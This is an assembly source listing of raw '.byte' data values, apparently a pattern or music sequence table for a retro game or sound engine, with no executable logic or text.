.byte 60
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 75
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 60
.byte 63
.byte 75
.byte 60
.byte 75
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 60
.byte 34
.byte 46
.byte 62
.byte 65
.byte 62
.byte 188
.byte 74
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 34
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 36
.byte 64
.byte 67
.byte 79
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 74
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 53
.byte 65
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 41
.byte 60
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 65
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 44
.byte 63
.byte 67
.byte 75
.byte 60
.byte 79
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 75
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 51
.byte 68
.byte 75
.byte 60
.byte 75
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 60
.byte 0
.byte 75
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 34
.byte 46
.byte 62
.byte 65
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 34
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 74
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 193
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 36
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 46
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 46
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 34
.byte 58
.byte 65
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 34
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 36
.byte 64
.byte 72
.byte 55
.byte 60
.byte 64
.byte 0
.byte 0
.byte 0
.byte 0
.byte 188
.byte 60
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 65
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 67
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 84
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 188
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 67
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 62
.byte 0
.byte 0
.byte 60
.byte 31
.byte 43
.byte 70
.byte 190
.byte 67
.byte 60
.byte 70
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 60
.byte 31
.byte 0
.byte 0
.byte 0
.byte 79
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 62
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 60
.byte 34
.byte 46
.byte 74
.byte 65
.byte 82
.byte 60
.byte 69
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 70
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 70
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 70
.byte 0
.byte 0
.byte 60
.byte 34
.byte 0
.byte 0
.byte 0
.byte 65
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 70
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 70
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 82
.byte 0
.byte 0
.byte 60
.byte 36
.byte 36
.byte 60
.byte 55
.byte 55
.byte 60
.byte 64
.byte 0
.byte 0
.byte 0
.byte 0
.byte 188
.byte 60
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 62
.byte 0
.byte 64
.byte 60
.byte 65
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 64
.byte 0
.byte 64
.byte 60
.byte 67
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 84
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 188
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 62
.byte 0
.byte 0
.byte 60
.byte 34
.byte 46
.byte 62
.byte 70
.byte 67
.byte 60
.byte 70
.byte 0
.byte 0
.byte 0
.byte 0
.byte 186
.byte 55
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 60
.byte 34
.byte 0
.byte 0
.byte 0
.byte 79
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 62
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 60
.byte 43
.byte 43
.byte 67
.byte 58
.byte 82
.byte 60
.byte 74
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 70
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 70
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 69
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 70
.byte 0
.byte 0
.byte 60
.byte 43
